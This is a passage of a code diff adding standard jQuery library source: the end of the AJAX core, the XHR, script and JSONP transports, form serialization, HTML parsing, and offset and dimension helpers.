+		cacheURL = s.url;
+
+		// More options handling for requests with no content
+		if ( !s.hasContent ) {
+
+			// If data is available, append data to url
+			if ( s.data ) {
+				cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data );
+
+				// #9682: remove data so that it's not used in an eventual retry
+				delete s.data;
+			}
+
+			// Add anti-cache in url if needed
+			if ( s.cache === false ) {
+				s.url = rts.test( cacheURL ) ?
+
+					// If there is already a '_' parameter, set its value
+					cacheURL.replace( rts, "$1_=" + nonce++ ) :
+
+					// Otherwise add one to the end
+					cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++;
+			}
+		}
+
+		// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
+		if ( s.ifModified ) {
+			if ( jQuery.lastModified[ cacheURL ] ) {
+				jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
+			}
+			if ( jQuery.etag[ cacheURL ] ) {
+				jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
+			}
+		}
+
+		// Set the correct header, if data is being sent
+		if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
+			jqXHR.setRequestHeader( "Content-Type", s.contentType );
+		}
+
+		// Set the Accepts header for the server, depending on the dataType
+		jqXHR.setRequestHeader(
+			"Accept",
+			s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?
+				s.accepts[ s.dataTypes[ 0 ] ] +
+					( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
+				s.accepts[ "*" ]
+		);
+
+		// Check for headers option
+		for ( i in s.headers ) {
+			jqXHR.setRequestHeader( i, s.headers[ i ] );
+		}
+
+		// Allow custom headers/mimetypes and early abort
+		if ( s.beforeSend &&
+			( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
+
+			// Abort if not done already and return
+			return jqXHR.abort();
+		}
+
+		// Aborting is no longer a cancellation
+		strAbort = "abort";
+
+		// Install callbacks on deferreds
+		for ( i in { success: 1, error: 1, complete: 1 } ) {
+			jqXHR[ i ]( s[ i ] );
+		}
+
+		// Get transport
+		transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
+
+		// If no transport, we auto-abort
+		if ( !transport ) {
+			done( -1, "No Transport" );
+		} else {
+			jqXHR.readyState = 1;
+
+			// Send global event
+			if ( fireGlobals ) {
+				globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
+			}
+
+			// If request was aborted inside ajaxSend, stop there
+			if ( state === 2 ) {
+				return jqXHR;
+			}
+
+			// Timeout
+			if ( s.async && s.timeout > 0 ) {
+				timeoutTimer = window.setTimeout( function() {
+					jqXHR.abort( "timeout" );
+				}, s.timeout );
+			}
+
+			try {
+				state = 1;
+				transport.send( requestHeaders, done );
+			} catch ( e ) {
+
+				// Propagate exception as error if not done
+				if ( state < 2 ) {
+					done( -1, e );
+
+				// Simply rethrow otherwise
+				} else {
+					throw e;
+				}
+			}
+		}
+
+		// Callback for when everything is done
+		function done( status, nativeStatusText, responses, headers ) {
+			var isSuccess, success, error, response, modified,
+				statusText = nativeStatusText;
+
+			// Called once
+			if ( state === 2 ) {
+				return;
+			}
+
+			// State is "done" now
+			state = 2;
+
+			// Clear timeout if it exists
+			if ( timeoutTimer ) {
+				window.clearTimeout( timeoutTimer );
+			}
+
+			// Dereference transport for early garbage collection
+			// (no matter how long the jqXHR object will be used)
+			transport = undefined;
+
+			// Cache response headers
+			responseHeadersString = headers || "";
+
+			// Set readyState
+			jqXHR.readyState = status > 0 ? 4 : 0;
+
+			// Determine if successful
+			isSuccess = status >= 200 && status < 300 || status === 304;
+
+			// Get response data
+			if ( responses ) {
+				response = ajaxHandleResponses( s, jqXHR, responses );
+			}
+
+			// Convert no matter what (that way responseXXX fields are always set)
+			response = ajaxConvert( s, response, jqXHR, isSuccess );
+
+			// If successful, handle type chaining
+			if ( isSuccess ) {
+
+				// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
+				if ( s.ifModified ) {
+					modified = jqXHR.getResponseHeader( "Last-Modified" );
+					if ( modified ) {
+						jQuery.lastModified[ cacheURL ] = modified;
+					}
+					modified = jqXHR.getResponseHeader( "etag" );
+					if ( modified ) {
+						jQuery.etag[ cacheURL ] = modified;
+					}
+				}
+
+				// if no content
+				if ( status === 204 || s.type === "HEAD" ) {
+					statusText = "nocontent";
+
+				// if not modified
+				} else if ( status === 304 ) {
+					statusText = "notmodified";
+
+				// If we have data, let's convert it
+				} else {
+					statusText = response.state;
+					success = response.data;
+					error = response.error;
+					isSuccess = !error;
+				}
+			} else {
+
+				// Extract error from statusText and normalize for non-aborts
+				error = statusText;
+				if ( status || !statusText ) {
+					statusText = "error";
+					if ( status < 0 ) {
+						status = 0;
+					}
+				}
+			}
+
+			// Set data for the fake xhr object
+			jqXHR.status = status;
+			jqXHR.statusText = ( nativeStatusText || statusText ) + "";
+
+			// Success/Error
+			if ( isSuccess ) {
+				deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
+			} else {
+				deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
+			}
+
+			// Status-dependent callbacks
+			jqXHR.statusCode( statusCode );
+			statusCode = undefined;
+
+			if ( fireGlobals ) {
+				globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
+					[ jqXHR, s, isSuccess ? success : error ] );
+			}
+
+			// Complete
+			completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
+
+			if ( fireGlobals ) {
+				globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
+
+				// Handle the global AJAX counter
+				if ( !( --jQuery.active ) ) {
+					jQuery.event.trigger( "ajaxStop" );
+				}
+			}
+		}
+
+		return jqXHR;
+	},
+
+	getJSON: function( url, data, callback ) {
+		return jQuery.get( url, data, callback, "json" );
+	},
+
+	getScript: function( url, callback ) {
+		return jQuery.get( url, undefined, callback, "script" );
+	}
+} );
+
+jQuery.each( [ "get", "post" ], function( i, method ) {
+	jQuery[ method ] = function( url, data, callback, type ) {
+
+		// Shift arguments if data argument was omitted
+		if ( jQuery.isFunction( data ) ) {
+			type = type || callback;
+			callback = data;
+			data = undefined;
+		}
+
+		// The url can be an options object (which then must have .url)
+		return jQuery.ajax( jQuery.extend( {
+			url: url,
+			type: method,
+			dataType: type,
+			data: data,
+			success: callback
+		}, jQuery.isPlainObject( url ) && url ) );
+	};
+} );
+
+
+jQuery._evalUrl = function( url ) {
+	return jQuery.ajax( {
+		url: url,
+
+		// Make this explicit, since user can override this through ajaxSetup (#11264)
+		type: "GET",
+		dataType: "script",
+		async: false,
+		global: false,
+		"throws": true
+	} );
+};
+
+
+jQuery.fn.extend( {
+	wrapAll: function( html ) {
+		var wrap;
+
+		if ( jQuery.isFunction( html ) ) {
+			return this.each( function( i ) {
+				jQuery( this ).wrapAll( html.call( this, i ) );
+			} );
+		}
+
+		if ( this[ 0 ] ) {
+
+			// The elements to wrap the target around
+			wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );
+
+			if ( this[ 0 ].parentNode ) {
+				wrap.insertBefore( this[ 0 ] );
+			}
+
+			wrap.map( function() {
+				var elem = this;
+
+				while ( elem.firstElementChild ) {
+					elem = elem.firstElementChild;
+				}
+
+				return elem;
+			} ).append( this );
+		}
+
+		return this;
+	},
+
+	wrapInner: function( html ) {
+		if ( jQuery.isFunction( html ) ) {
+			return this.each( function( i ) {
+				jQuery( this ).wrapInner( html.call( this, i ) );
+			} );
+		}
+
+		return this.each( function() {
+			var self = jQuery( this ),
+				contents = self.contents();
+
+			if ( contents.length ) {
+				contents.wrapAll( html );
+
+			} else {
+				self.append( html );
+			}
+		} );
+	},
+
+	wrap: function( html ) {
+		var isFunction = jQuery.isFunction( html );
+
+		return this.each( function( i ) {
+			jQuery( this ).wrapAll( isFunction ? html.call( this, i ) : html );
+		} );
+	},
+
+	unwrap: function() {
+		return this.parent().each( function() {
+			if ( !jQuery.nodeName( this, "body" ) ) {
+				jQuery( this ).replaceWith( this.childNodes );
+			}
+		} ).end();
+	}
+} );
+
+
+jQuery.expr.filters.hidden = function( elem ) {
+	return !jQuery.expr.filters.visible( elem );
+};
+jQuery.expr.filters.visible = function( elem ) {
+
+	// Support: Opera <= 12.12
+	// Opera reports offsetWidths and offsetHeights less than zero on some elements
+	// Use OR instead of AND as the element is not visible if either is true
+	// See tickets #10406 and #13132
+	return elem.offsetWidth > 0 || elem.offsetHeight > 0 || elem.getClientRects().length > 0;
+};
+
+
+
+
+var r20 = /%20/g,
+	rbracket = /\[\]$/,
+	rCRLF = /\r?\n/g,
+	rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
+	rsubmittable = /^(?:input|select|textarea|keygen)/i;
+
+function buildParams( prefix, obj, traditional, add ) {
+	var name;
+
+	if ( jQuery.isArray( obj ) ) {
+
+		// Serialize array item.
+		jQuery.each( obj, function( i, v ) {
+			if ( traditional || rbracket.test( prefix ) ) {
+
+				// Treat each array item as a scalar.
+				add( prefix, v );
+
+			} else {
+
+				// Item is non-scalar (array or object), encode its numeric index.
+				buildParams(
+					prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]",
+					v,
+					traditional,
+					add
+				);
+			}
+		} );
+
+	} else if ( !traditional && jQuery.type( obj ) === "object" ) {
+
+		// Serialize object item.
+		for ( name in obj ) {
+			buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
+		}
+
+	} else {
+
+		// Serialize scalar item.
+		add( prefix, obj );
+	}
+}
+
+// Serialize an array of form elements or a set of
+// key/values into a query string
+jQuery.param = function( a, traditional ) {
+	var prefix,
+		s = [],
+		add = function( key, value ) {
+
+			// If value is a function, invoke it and return its value
+			value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
+			s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
+		};
+
+	// Set traditional to true for jQuery <= 1.3.2 behavior.
+	if ( traditional === undefined ) {
+		traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
+	}
+
+	// If an array was passed in, assume that it is an array of form elements.
+	if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
+
+		// Serialize the form elements
+		jQuery.each( a, function() {
+			add( this.name, this.value );
+		} );
+
+	} else {
+
+		// If traditional, encode the "old" way (the way 1.3.2 or older
+		// did it), otherwise encode params recursively.
+		for ( prefix in a ) {
+			buildParams( prefix, a[ prefix ], traditional, add );
+		}
+	}
+
+	// Return the resulting serialization
+	return s.join( "&" ).replace( r20, "+" );
+};
+
+jQuery.fn.extend( {
+	serialize: function() {
+		return jQuery.param( this.serializeArray() );
+	},
+	serializeArray: function() {
+		return this.map( function() {
+
+			// Can add propHook for "elements" to filter or add form elements
+			var elements = jQuery.prop( this, "elements" );
+			return elements ? jQuery.makeArray( elements ) : this;
+		} )
+		.filter( function() {
+			var type = this.type;
+
+			// Use .is( ":disabled" ) so that fieldset[disabled] works
+			return this.name && !jQuery( this ).is( ":disabled" ) &&
+				rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
+				( this.checked || !rcheckableType.test( type ) );
+		} )
+		.map( function( i, elem ) {
+			var val = jQuery( this ).val();
+
+			return val == null ?
+				null :
+				jQuery.isArray( val ) ?
+					jQuery.map( val, function( val ) {
+						return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
+					} ) :
+					{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
+		} ).get();
+	}
+} );
+
+
+jQuery.ajaxSettings.xhr = function() {
+	try {
+		return new window.XMLHttpRequest();
+	} catch ( e ) {}
+};
+
+var xhrSuccessStatus = {
+
+		// File protocol always yields status code 0, assume 200
+		0: 200,
+
+		// Support: IE9
+		// #1450: sometimes IE returns 1223 when it should be 204
+		1223: 204
+	},
+	xhrSupported = jQuery.ajaxSettings.xhr();
+
+support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
+support.ajax = xhrSupported = !!xhrSupported;
+
+jQuery.ajaxTransport( function( options ) {
+	var callback, errorCallback;
+
+	// Cross domain only allowed if supported through XMLHttpRequest
+	if ( support.cors || xhrSupported && !options.crossDomain ) {
+		return {
+			send: function( headers, complete ) {
+				var i,
+					xhr = options.xhr();
+
+				xhr.open(
+					options.type,
+					options.url,
+					options.async,
+					options.username,
+					options.password
+				);
+
+				// Apply custom fields if provided
+				if ( options.xhrFields ) {
+					for ( i in options.xhrFields ) {
+						xhr[ i ] = options.xhrFields[ i ];
+					}
+				}
+
+				// Override mime type if needed
+				if ( options.mimeType && xhr.overrideMimeType ) {
+					xhr.overrideMimeType( options.mimeType );
+				}
+
+				// X-Requested-With header
+				// For cross-domain requests, seeing as conditions for a preflight are
+				// akin to a jigsaw puzzle, we simply never set it to be sure.
+				// (it can always be set on a per-request basis or even using ajaxSetup)
+				// For same-domain requests, won't change header if already provided.
+				if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) {
+					headers[ "X-Requested-With" ] = "XMLHttpRequest";
+				}
+
+				// Set headers
+				for ( i in headers ) {
+					xhr.setRequestHeader( i, headers[ i ] );
+				}
+
+				// Callback
+				callback = function( type ) {
+					return function() {
+						if ( callback ) {
+							callback = errorCallback = xhr.onload =
+								xhr.onerror = xhr.onabort = xhr.onreadystatechange = null;
+
+							if ( type === "abort" ) {
+								xhr.abort();
+							} else if ( type === "error" ) {
+
+								// Support: IE9
+								// On a manual native abort, IE9 throws
+								// errors on any property access that is not readyState
+								if ( typeof xhr.status !== "number" ) {
+									complete( 0, "error" );
+								} else {
+									complete(
+
+										// File: protocol always yields status 0; see #8605, #14207
+										xhr.status,
+										xhr.statusText
+									);
+								}
+							} else {
+								complete(
+									xhrSuccessStatus[ xhr.status ] || xhr.status,
+									xhr.statusText,
+
+									// Support: IE9 only
+									// IE9 has no XHR2 but throws on binary (trac-11426)
+									// For XHR2 non-text, let the caller handle it (gh-2498)
+									( xhr.responseType || "text" ) !== "text"  ||
+									typeof xhr.responseText !== "string" ?
+										{ binary: xhr.response } :
+										{ text: xhr.responseText },
+									xhr.getAllResponseHeaders()
+								);
+							}
+						}
+					};
+				};
+
+				// Listen to events
+				xhr.onload = callback();
+				errorCallback = xhr.onerror = callback( "error" );
+
+				// Support: IE9
+				// Use onreadystatechange to replace onabort
+				// to handle uncaught aborts
+				if ( xhr.onabort !== undefined ) {
+					xhr.onabort = errorCallback;
+				} else {
+					xhr.onreadystatechange = function() {
+
+						// Check readyState before timeout as it changes
+						if ( xhr.readyState === 4 ) {
+
+							// Allow onerror to be called first,
+							// but that will not handle a native abort
+							// Also, save errorCallback to a variable
+							// as xhr.onerror cannot be accessed
+							window.setTimeout( function() {
+								if ( callback ) {
+									errorCallback();
+								}
+							} );
+						}
+					};
+				}
+
+				// Create the abort callback
+				callback = callback( "abort" );
+
+				try {
+
+					// Do send the request (this may raise an exception)
+					xhr.send( options.hasContent && options.data || null );
+				} catch ( e ) {
+
+					// #14683: Only rethrow if this hasn't been notified as an error yet
+					if ( callback ) {
+						throw e;
+					}
+				}
+			},
+
+			abort: function() {
+				if ( callback ) {
+					callback();
+				}
+			}
+		};
+	}
+} );
+
+
+
+
+// Install script dataType
+jQuery.ajaxSetup( {
+	accepts: {
+		script: "text/javascript, application/javascript, " +
+			"application/ecmascript, application/x-ecmascript"
+	},
+	contents: {
+		script: /\b(?:java|ecma)script\b/
+	},
+	converters: {
+		"text script": function( text ) {
+			jQuery.globalEval( text );
+			return text;
+		}
+	}
+} );
+
+// Handle cache's special case and crossDomain
+jQuery.ajaxPrefilter( "script", function( s ) {
+	if ( s.cache === undefined ) {
+		s.cache = false;
+	}
+	if ( s.crossDomain ) {
+		s.type = "GET";
+	}
+} );
+
+// Bind script tag hack transport
+jQuery.ajaxTransport( "script", function( s ) {
+
+	// This transport only deals with cross domain requests
+	if ( s.crossDomain ) {
+		var script, callback;
+		return {
+			send: function( _, complete ) {
+				script = jQuery( "<script>" ).prop( {
+					charset: s.scriptCharset,
+					src: s.url
+				} ).on(
+					"load error",
+					callback = function( evt ) {
+						script.remove();
+						callback = null;
+						if ( evt ) {
+							complete( evt.type === "error" ? 404 : 200, evt.type );
+						}
+					}
+				);
+
+				// Use native DOM manipulation to avoid our domManip AJAX trickery
+				document.head.appendChild( script[ 0 ] );
+			},
+			abort: function() {
+				if ( callback ) {
+					callback();
+				}
+			}
+		};
+	}
+} );
+
+
+
+
+var oldCallbacks = [],
+	rjsonp = /(=)\?(?=&|$)|\?\?/;
+
+// Default jsonp settings
+jQuery.ajaxSetup( {
+	jsonp: "callback",
+	jsonpCallback: function() {
+		var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
+		this[ callback ] = true;
+		return callback;
+	}
+} );
+
+// Detect, normalize options and install callbacks for jsonp requests
+jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
+
+	var callbackName, overwritten, responseContainer,
+		jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
+			"url" :
+			typeof s.data === "string" &&
+				( s.contentType || "" )
+					.indexOf( "application/x-www-form-urlencoded" ) === 0 &&
+				rjsonp.test( s.data ) && "data"
+		);
+
+	// Handle iff the expected data type is "jsonp" or we have a parameter to set
+	if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
+
+		// Get callback name, remembering preexisting value associated with it
+		callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
+			s.jsonpCallback() :
+			s.jsonpCallback;
+
+		// Insert callback into url or form data
+		if ( jsonProp ) {
+			s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
+		} else if ( s.jsonp !== false ) {
+			s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
+		}
+
+		// Use data converter to retrieve json after script execution
+		s.converters[ "script json" ] = function() {
+			if ( !responseContainer ) {
+				jQuery.error( callbackName + " was not called" );
+			}
+			return responseContainer[ 0 ];
+		};
+
+		// Force json dataType
+		s.dataTypes[ 0 ] = "json";
+
+		// Install callback
+		overwritten = window[ callbackName ];
+		window[ callbackName ] = function() {
+			responseContainer = arguments;
+		};
+
+		// Clean-up function (fires after converters)
+		jqXHR.always( function() {
+
+			// If previous value didn't exist - remove it
+			if ( overwritten === undefined ) {
+				jQuery( window ).removeProp( callbackName );
+
+			// Otherwise restore preexisting value
+			} else {
+				window[ callbackName ] = overwritten;
+			}
+
+			// Save back as free
+			if ( s[ callbackName ] ) {
+
+				// Make sure that re-using the options doesn't screw things around
+				s.jsonpCallback = originalSettings.jsonpCallback;
+
+				// Save the callback name for future use
+				oldCallbacks.push( callbackName );
+			}
+
+			// Call if it was a function and we have a response
+			if ( responseContainer && jQuery.isFunction( overwritten ) ) {
+				overwritten( responseContainer[ 0 ] );
+			}
+
+			responseContainer = overwritten = undefined;
+		} );
+
+		// Delegate to script
+		return "script";
+	}
+} );
+
+
+
+
+// Support: Safari 8+
+// In Safari 8 documents created via document.implementation.createHTMLDocument
+// collapse sibling forms: the second one becomes a child of the first one.
+// Because of that, this security measure has to be disabled in Safari 8.
+// https://bugs.webkit.org/show_bug.cgi?id=137337
+support.createHTMLDocument = ( function() {
+	var body = document.implementation.createHTMLDocument( "" ).body;
+	body.innerHTML = "<form></form><form></form>";
+	return body.childNodes.length === 2;
+} )();
+
+
+// Argument "data" should be string of html
+// context (optional): If specified, the fragment will be created in this context,
+// defaults to document
+// keepScripts (optional): If true, will include scripts passed in the html string
+jQuery.parseHTML = function( data, context, keepScripts ) {
+	if ( !data || typeof data !== "string" ) {
+		return null;
+	}
+	if ( typeof context === "boolean" ) {
+		keepScripts = context;
+		context = false;
+	}
+
+	// Stop scripts or inline event handlers from being executed immediately
+	// by using document.implementation
+	context = context || ( support.createHTMLDocument ?
+		document.implementation.createHTMLDocument( "" ) :
+		document );
+
+	var parsed = rsingleTag.exec( data ),
+		scripts = !keepScripts && [];
+
+	// Single tag
+	if ( parsed ) {
+		return [ context.createElement( parsed[ 1 ] ) ];
+	}
+
+	parsed = buildFragment( [ data ], context, scripts );
+
+	if ( scripts && scripts.length ) {
+		jQuery( scripts ).remove();
+	}
+
+	return jQuery.merge( [], parsed.childNodes );
+};
+
+
+// Keep a copy of the old load method
+var _load = jQuery.fn.load;
+
+/**
+ * Load a url into a page
+ */
+jQuery.fn.load = function( url, params, callback ) {
+	if ( typeof url !== "string" && _load ) {
+		return _load.apply( this, arguments );
+	}
+
+	var selector, type, response,
+		self = this,
+		off = url.indexOf( " " );
+
+	if ( off > -1 ) {
+		selector = jQuery.trim( url.slice( off ) );
+		url = url.slice( 0, off );
+	}
+
+	// If it's a function
+	if ( jQuery.isFunction( params ) ) {
+
+		// We assume that it's the callback
+		callback = params;
+		params = undefined;
+
+	// Otherwise, build a param string
+	} else if ( params && typeof params === "object" ) {
+		type = "POST";
+	}
+
+	// If we have elements to modify, make the request
+	if ( self.length > 0 ) {
+		jQuery.ajax( {
+			url: url,
+
+			// If "type" variable is undefined, then "GET" method will be used.
+			// Make value of this field explicit since
+			// user can override it through ajaxSetup method
+			type: type || "GET",
+			dataType: "html",
+			data: params
+		} ).done( function( responseText ) {
+
+			// Save response for use in complete callback
+			response = arguments;
+
+			self.html( selector ?
+
+				// If a selector was specified, locate the right elements in a dummy div
+				// Exclude scripts to avoid IE 'Permission Denied' errors
+				jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :
+
+				// Otherwise use the full result
+				responseText );
+
+		// If the request succeeds, this function gets "data", "status", "jqXHR"
+		// but they are ignored because response was set above.
+		// If it fails, this function gets "jqXHR", "status", "error"
+		} ).always( callback && function( jqXHR, status ) {
+			self.each( function() {
+				callback.apply( self, response || [ jqXHR.responseText, status, jqXHR ] );
+			} );
+		} );
+	}
+
+	return this;
+};
+
+
+
+
+// Attach a bunch of functions for handling common AJAX events
+jQuery.each( [
+	"ajaxStart",
+	"ajaxStop",
+	"ajaxComplete",
+	"ajaxError",
+	"ajaxSuccess",
+	"ajaxSend"
+], function( i, type ) {
+	jQuery.fn[ type ] = function( fn ) {
+		return this.on( type, fn );
+	};
+} );
+
+
+
+
+jQuery.expr.filters.animated = function( elem ) {
+	return jQuery.grep( jQuery.timers, function( fn ) {
+		return elem === fn.elem;
+	} ).length;
+};
+
+
+
+
+/**
+ * Gets a window from an element
+ */
+function getWindow( elem ) {
+	return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;
+}
+
+jQuery.offset = {
+	setOffset: function( elem, options, i ) {
+		var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
+			position = jQuery.css( elem, "position" ),
+			curElem = jQuery( elem ),
+			props = {};
+
+		// Set position first, in-case top/left are set even on static elem
+		if ( position === "static" ) {
+			elem.style.position = "relative";
+		}
+
+		curOffset = curElem.offset();
+		curCSSTop = jQuery.css( elem, "top" );
+		curCSSLeft = jQuery.css( elem, "left" );
+		calculatePosition = ( position === "absolute" || position === "fixed" ) &&
+			( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1;
+
+		// Need to be able to calculate position if either
+		// top or left is auto and position is either absolute or fixed
+		if ( calculatePosition ) {
+			curPosition = curElem.position();
+			curTop = curPosition.top;
+			curLeft = curPosition.left;
+
+		} else {
+			curTop = parseFloat( curCSSTop ) || 0;
+			curLeft = parseFloat( curCSSLeft ) || 0;
+		}
+
+		if ( jQuery.isFunction( options ) ) {
+
+			// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)
+			options = options.call( elem, i, jQuery.extend( {}, curOffset ) );
+		}
+
+		if ( options.top != null ) {
+			props.top = ( options.top - curOffset.top ) + curTop;
+		}
+		if ( options.left != null ) {
+			props.left = ( options.left - curOffset.left ) + curLeft;
+		}
+
+		if ( "using" in options ) {
+			options.using.call( elem, props );
+
+		} else {
+			curElem.css( props );
+		}
+	}
+};
+
+jQuery.fn.extend( {
+	offset: function( options ) {
+		if ( arguments.length ) {
+			return options === undefined ?
+				this :
+				this.each( function( i ) {
+					jQuery.offset.setOffset( this, options, i );
+				} );
+		}
+
+		var docElem, win,
+			elem = this[ 0 ],
+			box = { top: 0, left: 0 },
+			doc = elem && elem.ownerDocument;
+
+		if ( !doc ) {
+			return;
+		}
+
+		docElem = doc.documentElement;
+
+		// Make sure it's not a disconnected DOM node
+		if ( !jQuery.contains( docElem, elem ) ) {
+			return box;
+		}
+
+		box = elem.getBoundingClientRect();
+		win = getWindow( doc );
+		return {
+			top: box.top + win.pageYOffset - docElem.clientTop,
+			left: box.left + win.pageXOffset - docElem.clientLeft
+		};
+	},
+
+	position: function() {
+		if ( !this[ 0 ] ) {
+			return;
+		}
+
+		var offsetParent, offset,
+			elem = this[ 0 ],
+			parentOffset = { top: 0, left: 0 };
+
+		// Fixed elements are offset from window (parentOffset = {top:0, left: 0},
+		// because it is its only offset parent
+		if ( jQuery.css( elem, "position" ) === "fixed" ) {
+
+			// Assume getBoundingClientRect is there when computed position is fixed
+			offset = elem.getBoundingClientRect();
+
+		} else {
+
+			// Get *real* offsetParent
+			offsetParent = this.offsetParent();
+
+			// Get correct offsets
+			offset = this.offset();
+			if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) {
+				parentOffset = offsetParent.offset();
+			}
+
+			// Add offsetParent borders
+			// Subtract offsetParent scroll positions
+			parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true ) -
+				offsetParent.scrollTop();
+			parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true ) -
+				offsetParent.scrollLeft();
+		}
+
+		// Subtract parent offsets and element margins
+		return {
+			top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
+			left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
+		};
+	},
+
+	// This method will return documentElement in the following cases:
+	// 1) For the element inside the iframe without offsetParent, this method will return
+	//    documentElement of the parent window
+	// 2) For the hidden or detached element
+	// 3) For body or html element, i.e. in case of the html node - it will return itself
+	//
+	// but those exceptions were never presented as a real life use-cases
+	// and might be considered as more preferable results.
+	//
+	// This logic, however, is not guaranteed and can change at any point in the future
+	offsetParent: function() {
+		return this.map( function() {
+			var offsetParent = this.offsetParent;
+
+			while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) {
+				offsetParent = offsetParent.offsetParent;
+			}
+
+			return offsetParent || documentElement;
+		} );
+	}
+} );
+
+// Create scrollLeft and scrollTop methods
+jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
+	var top = "pageYOffset" === prop;
+
+	jQuery.fn[ method ] = function( val ) {
+		return access( this, function( elem, method, val ) {
+			var win = getWindow( elem );
+
+			if ( val === undefined ) {
+				return win ? win[ prop ] : elem[ method ];
+			}
+
+			if ( win ) {
+				win.scrollTo(
+					!top ? val : win.pageXOffset,
+					top ? val : win.pageYOffset
+				);
+
+			} else {
+				elem[ method ] = val;
+			}
+		}, method, val, arguments.length );
+	};
+} );
+
+// Support: Safari<7-8+, Chrome<37-44+
+// Add the top/left cssHooks using jQuery.fn.position
+// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
+// Blink bug: https://code.google.com/p/chromium/issues/detail?id=229280
+// getComputedStyle returns percent when specified for top/left/bottom/right;
+// rather than make the css module depend on the offset module, just check for it here
+jQuery.each( [ "top", "left" ], function( i, prop ) {
+	jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
+		function( elem, computed ) {
+			if ( computed ) {
+				computed = curCSS( elem, prop );
+
+				// If curCSS returns percentage, fallback to offset
+				return rnumnonpx.test( computed ) ?
+					jQuery( elem ).position()[ prop ] + "px" :
+					computed;
+			}
+		}
+	);
+} );
+
+
+// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
+jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
+	jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name },
+		function( defaultExtra, funcName ) {
+
+		// Margin is only for outerHeight, outerWidth
+		jQuery.fn[ funcName ] = function( margin, value ) {
+			var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
+				extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
+
+			return access( this, function( elem, type, value ) {
+				var doc;
+
+				if ( jQuery.isWindow( elem ) ) {
+
+					// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
+					// isn't a whole lot we can do. See pull request at this URL for discussion:
+					// https://github.com/jquery/jquery/pull/764
+					return elem.document.documentElement[ "client" + name ];
+				}
+
+				// Get document width or height
+				if ( elem.nodeType === 9 ) {
+					doc = elem.documentElement;
+
+					// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],
+					// whichever is greatest
+					return Math.max(
+						elem.body[ "scroll" + name ], doc[ "scroll" + name ],
+						elem.body[ "offset" + name ], doc[ "offset" + name ],
+						doc[ "client" + name ]
+					);
+				}
+
+				return value === undefined ?
+
+					// Get width or height on the element, requesting but not forcing parseFloat
+					jQuery.css( elem, type, extra ) :
+
+					// Set width or height on the element
+					jQuery.style( elem, type, value, extra );
+			}, type, chainable ? margin : undefined, chainable, null );
+		};
+	} );
+} );
+
+
+jQuery.fn.extend( {
+
+	bind: function( types, data, fn ) {
+		return this.on( types, null, data, fn );
+	},
+	unbind: function( types, fn ) {
+		return this.off( types, null, fn );
+	},
+
+	delegate: function( selector, types, data, fn ) {
+		return this.on( types, selector, data, fn );
+	},
+	undelegate: function( selector, types, fn ) {
+
+		// ( namespace ) or ( selector, types [, fn] )
+		return arguments.length === 1 ?
+			this.off( selector, "**" ) :
+			this.off( types, selector || "**", fn );
+	},
+	size: function() {
+		return this.length;
+	}
+} );
+
